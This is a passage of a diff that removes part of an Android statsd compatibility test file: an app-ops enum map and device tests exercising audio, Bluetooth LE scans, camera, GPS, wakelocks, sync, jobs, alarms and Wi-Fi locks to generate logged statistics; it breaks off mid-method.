- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
- // Op 96 was deprecated/removed
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
- }
-
- @Test
- public void testAudioState() {
- // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
- Context context = InstrumentationRegistry.getContext();
- MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
- mediaPlayer.start();
- sleep(2_000);
- mediaPlayer.stop();
- }
-
- @Test
- public void testBleScanOpportunistic() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
- performBleScan(scanSettings, null,false);
- }
-
- @Test
- public void testBleScanUnoptimized() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- performBleScan(scanSettings, null, false);
- }
-
- @Test
- public void testBleScanResult() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- ScanFilter.Builder scanFilter = new ScanFilter.Builder();
- performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
- }
-
- @Test
- public void testBleScanInterrupted() throws Exception {
- performBleAction((bluetoothAdapter, bleScanner) -> {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- ScanCallback scanCallback = new ScanCallback() {
- @Override
- public void onScanResult(int callbackType, ScanResult result) {
- Log.v(TAG, "called onScanResult");
- }
- @Override
- public void onScanFailed(int errorCode) {
- Log.v(TAG, "called onScanFailed");
- }
- @Override
- public void onBatchScanResults(List<ScanResult> results) {
- Log.v(TAG, "called onBatchScanResults");
- }
- };
-
- int uid = Process.myUid();
- int whatAtomId = 9_999;
-
- // Get the current setting for bluetooth background scanning.
- // Set to 0 if the setting is not found or an error occurs.
- int initialBleScanGlobalSetting = Settings.Global.getInt(
- InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
- // Turn off bluetooth background scanning.
- Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
- // Change state to State.ON.
- bleScanner.startScan(null, scanSettings, scanCallback);
- sleep(6_000);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
- bluetoothAdapter.disable();
- sleep(6_000);
-
- // Trigger State.RESET so that new state is State.OFF.
- if (!bluetoothAdapter.enable()) {
- Log.e(TAG, "Could not enable bluetooth to trigger state reset");
- return;
- }
- sleep(6_000); // Wait for Bluetooth to fully turn on.
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
- // Set bluetooth background scanning to original setting.
- Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, initialBleScanGlobalSetting);
- });
- }
-
- private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
- boolean field2, boolean field3,
- boolean field4) {
- final StatsEvent.Builder builder = StatsEvent.newBuilder()
- .setAtomId(atomId)
- .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
- .writeBoolean(field2)
- .writeBoolean(field3)
- .writeBoolean(field4)
- .usePooledBuffer();
-
- StatsLog.write(builder.build());
- }
-
- /**
- * Set up BluetoothLeScanner and perform the action in the callback.
- * Restore Bluetooth to original state afterwards.
- **/
- private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
- BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
- if (bluetoothAdapter == null) {
- Log.e(TAG, "Device does not support Bluetooth");
- return;
- }
- boolean bluetoothEnabledByTest = false;
- if (!bluetoothAdapter.isEnabled()) {
- if (!bluetoothAdapter.enable()) {
- Log.e(TAG, "Bluetooth is not enabled");
- return;
- }
- sleep(2_000); // Wait for Bluetooth to fully turn on.
- bluetoothEnabledByTest = true;
- }
- BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
- if (bleScanner == null) {
- Log.e(TAG, "Cannot access BLE scanner");
- return;
- }
-
- actions.accept(bluetoothAdapter, bleScanner);
-
- // Restore adapter state
- if (bluetoothEnabledByTest) {
- bluetoothAdapter.disable();
- }
- }
-
-
- private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
- performBleAction((bluetoothAdapter, bleScanner) -> {
- CountDownLatch resultsLatch = new CountDownLatch(1);
- ScanCallback scanCallback = new ScanCallback() {
- @Override
- public void onScanResult(int callbackType, ScanResult result) {
- Log.v(TAG, "called onScanResult");
- resultsLatch.countDown();
- }
- @Override
- public void onScanFailed(int errorCode) {
- Log.v(TAG, "called onScanFailed");
- }
- @Override
- public void onBatchScanResults(List<ScanResult> results) {
- Log.v(TAG, "called onBatchScanResults");
- resultsLatch.countDown();
- }
- };
-
- bleScanner.startScan(scanFilters, scanSettings, scanCallback);
- if (waitForResult) {
- waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
- } else {
- sleep(2_000);
- }
- bleScanner.stopScan(scanCallback);
- });
- }
-
- @Test
- public void testCameraState() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- CameraManager cam = context.getSystemService(CameraManager.class);
- String[] cameraIds = cam.getCameraIdList();
- if (cameraIds.length == 0) {
- Log.e(TAG, "No camera found on device");
- return;
- }
-
- CountDownLatch latch = new CountDownLatch(1);
- final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
- @Override
- public void onOpened(CameraDevice cd) {
- Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
- sleep(2_000);
- cd.close();
- }
- @Override
- public void onClosed(CameraDevice cd) {
- latch.countDown();
- Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
- }
- @Override
- public void onDisconnected(CameraDevice cd) {
- Log.w(TAG, "CameraDevice " + cd.getId() + " disconnected");
- }
- @Override
- public void onError(CameraDevice cd, int error) {
- Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
- }
- };
-
- HandlerThread handlerThread = new HandlerThread("br_handler_thread");
- handlerThread.start();
- Looper looper = handlerThread.getLooper();
- Handler handler = new Handler(looper);
-
- cam.openCamera(cameraIds[0], cb, handler);
- waitForReceiver(context, 10_000, latch, null);
- }
-
- @Test
- public void testFlashlight() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- CameraManager cam = context.getSystemService(CameraManager.class);
- String[] cameraIds = cam.getCameraIdList();
- boolean foundFlash = false;
- for (int i = 0; i < cameraIds.length; i++) {
- String id = cameraIds[i];
- if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
- cam.setTorchMode(id, true);
- sleep(500);
- cam.setTorchMode(id, false);
- foundFlash = true;
- break;
- }
- }
- if(!foundFlash) {
- Log.e(TAG, "No flashlight found on device");
- }
- }
-
- @Test
- public void testForegroundService() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- // The service goes into foreground and exits shortly
- Intent intent = new Intent(context, StatsdCtsForegroundService.class);
- context.startService(intent);
- sleep(500);
- context.stopService(intent);
- }
-
- @Test
- public void testForegroundServiceAccessAppOp() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
- AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
- // No foreground service session
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
- sleep(500);
-
- // Foreground service session 1
- context.startService(fgsIntent);
- while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
- sleep(50);
- }
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
- startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- sleep(500);
- context.stopService(fgsIntent);
-
- // No foreground service session
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
- sleep(500);
-
- // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
- }
-
- @Test
- public void testAppOps() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
- String[] opsList = appOpsManager.getOpStrs();
-
- for (int i = 0; i < opsList.length; i++) {
- String op = opsList[i];
- if (TextUtils.isEmpty(op)) {
- // Operation removed/deprecated
- continue;
- }
- int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
- for (int j = 0; j < noteCount; j++) {
- try {
- noteAppOp(appOpsManager, opsList[i]);
- } catch (SecurityException e) {}
- }
- }
- }
-
- private void noteAppOp(AppOpsManager aom, String opStr) {
- aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
- }
-
- private void startAppOp(AppOpsManager aom, String opStr) {
- aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
- }
-
- /** Check if service is running. */
- public boolean checkIfServiceRunning(Context context, String serviceName) {
- ActivityManager manager = context.getSystemService(ActivityManager.class);
- for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
- if (serviceName.equals(service.service.getClassName()) && service.foreground) {
- return true;
- }
- }
- return false;
- }
-
- @Test
- public void testGpsScan() {
- Context context = InstrumentationRegistry.getContext();
- final LocationManager locManager = context.getSystemService(LocationManager.class);
- if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
- Log.e(TAG, "GPS provider is not enabled");
- return;
- }
- CountDownLatch latch = new CountDownLatch(1);
-
- final LocationListener locListener = new LocationListener() {
- public void onLocationChanged(Location location) {
- Log.v(TAG, "onLocationChanged: location has been obtained");
- }
- public void onProviderDisabled(String provider) {
- Log.w(TAG, "onProviderDisabled " + provider);
- }
- public void onProviderEnabled(String provider) {
- Log.w(TAG, "onProviderEnabled " + provider);
- }
- public void onStatusChanged(String provider, int status, Bundle extras) {
- Log.w(TAG, "onStatusChanged " + provider + " " + status);
- }
- };
-
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- Looper.prepare();
- locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
- locListener);
- sleep(1_000);
- locManager.removeUpdates(locListener);
- latch.countDown();
- return null;
- }
- }.execute();
-
- waitForReceiver(context, 59_000, latch, null);
- }
-
- @Test
- public void testGpsStatus() {
- Context context = InstrumentationRegistry.getContext();
- final LocationManager locManager = context.getSystemService(LocationManager.class);
-
- if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
- Log.e(TAG, "GPS provider is not enabled");
- return;
- }
-
- // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
- // max time which would be around 90 seconds.
- // This is based on similar location cts test timeout values.
- final int TIMEOUT_IN_MSEC = 85_000;
- final int SLEEP_TIME_IN_MSEC = 5_000;
-
- final CountDownLatch mLatchNetwork = new CountDownLatch(1);
-
- final LocationListener locListener = location -> {
- Log.v(TAG, "onLocationChanged: location has been obtained");
- mLatchNetwork.countDown();
- };
-
- // fetch the networklocation first to make sure the ttff is not flaky
- if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
- Log.i(TAG, "Request Network Location updates.");
- locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
- 0 /* minTime*/,
- 0 /* minDistance */,
- locListener,
- Looper.getMainLooper());
- }
- waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
-
- // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
- // not occur in the first SLEEP_TIME_IN_MSEC
- final CountDownLatch mLatchTtff = new CountDownLatch(1);
-
- GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
- @Override
- public void onStarted() {
- Log.v(TAG, "Gnss Status Listener Started");
- }
-
- @Override
- public void onStopped() {
- Log.v(TAG, "Gnss Status Listener Stopped");
- }
-
- @Override
- public void onFirstFix(int ttffMillis) {
- Log.v(TAG, "Gnss Status Listener Received TTFF");
- mLatchTtff.countDown();
- }
-
- @Override
- public void onSatelliteStatusChanged(GnssStatus status) {
- Log.v(TAG, "Gnss Status Listener Received Status Update");
- }
- };
-
- boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
- gnssStatusCallback, new Handler(Looper.getMainLooper()));
- if (!gnssStatusCallbackAdded) {
- // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
- Log.e(TAG, "Failed to start gnss status callback");
- }
-
- locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
- 0,
- 0 /* minDistance */,
- locListener,
- Looper.getMainLooper());
- sleep(SLEEP_TIME_IN_MSEC);
- waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
- locManager.removeUpdates(locListener);
- locManager.unregisterGnssStatusCallback(gnssStatusCallback);
- }
-
- @Test
- public void testScreenBrightness() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
- PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
- wl.acquire();
- sleep(500);
-
- setScreenBrightness(47);
- sleep(500);
- setScreenBrightness(100);
- sleep(500);
- setScreenBrightness(198);
- sleep(500);
-
-
- wl.release();
- }
-
- @Test
- public void testSyncState() throws Exception {
-
- Context context = InstrumentationRegistry.getContext();
- StatsdAuthenticator.removeAllAccounts(context);
- AccountManager am = context.getSystemService(AccountManager.class);
- CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
-
- Account account = StatsdAuthenticator.getTestAccount();
- StatsdAuthenticator.ensureTestAccount(context);
- sleep(500);
-
- // Just force set is syncable.
- ContentResolver.setMasterSyncAutomatically(true);
- sleep(500);
- ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
- // Wait for the first (automatic) sync to finish
- waitForReceiver(context, 120_000, latch, null);
-
- //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
- sleep(500);
-
- // Request and wait for the second sync to finish
- latch = StatsdSyncAdapter.resetCountDownLatch();
- StatsdSyncAdapter.requestSync(account);
- waitForReceiver(context, 120_000, latch, null);
- StatsdAuthenticator.removeAllAccounts(context);
- }
-
- @Test
- public void testScheduledJob() throws Exception {
- final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
- StatsdJobService.class.getName());
-
- Context context = InstrumentationRegistry.getContext();
- JobScheduler js = context.getSystemService(JobScheduler.class);
- assertWithMessage("JobScheduler service not available").that(js).isNotNull();
-
- JobInfo.Builder builder = new JobInfo.Builder(1, name);
- builder.setOverrideDeadline(0);
- JobInfo job = builder.build();
-
- long startTime = System.currentTimeMillis();
- CountDownLatch latch = StatsdJobService.resetCountDownLatch();
- js.schedule(job);
- waitForReceiver(context, 5_000, latch, null);
- }
-
- @Test
- public void testVibratorState() {
- Context context = InstrumentationRegistry.getContext();
- Vibrator vib = context.getSystemService(Vibrator.class);
- if (vib.hasVibrator()) {
- vib.vibrate(VibrationEffect.createOneShot(
- 500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
- }
- }
-
- @Test
- public void testWakelockState() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
- "StatsdPartialWakelock");
- wl.acquire();
- sleep(500);
- wl.release();
- }
-
- @Test
- public void testSliceByWakelockState() {
- int uid = Process.myUid();
- int whatAtomId = 9_998;
- int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
- String tag = "StatsdPartialWakelock";
-
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
-
- wl.acquire();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.acquire();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.release();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.release();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- }
-
- private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
- int field2, String field3) {
- final StatsEvent.Builder builder = StatsEvent.newBuilder()
- .setAtomId(atomId)
- .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
- .writeInt(field2)
- .writeString(field3)
- .usePooledBuffer();
-
- StatsLog.write(builder.build());
- }
-
-
- @Test
- public void testWakelockLoad() {
- final int NUM_THREADS = 16;
- CountDownLatch latch = new CountDownLatch(NUM_THREADS);
- for (int i = 0; i < NUM_THREADS; i++) {
- Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
- t.start();
- }
- waitForReceiver(null, 120_000, latch, null);
- }
-
- @Test
- public void testWakeupAlarm() {
- Context context = InstrumentationRegistry.getContext();
- String name = "android.cts.statsd.testWakeupAlarm";
- CountDownLatch onReceiveLatch = new CountDownLatch(1);
- BroadcastReceiver receiver =
- registerReceiver(context, onReceiveLatch, new IntentFilter(name));
- AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
- PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
- manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
- SystemClock.elapsedRealtime() + 2_000, pintent);
- waitForReceiver(context, 10_000, onReceiveLatch, receiver);
- }
-
- @Test
- public void testWifiLockHighPerf() {
- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.WifiLock lock =
- wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- public void testWifiLockLowLatency() {
- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.WifiLock lock =
- wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- public void testWifiMulticastLock() {
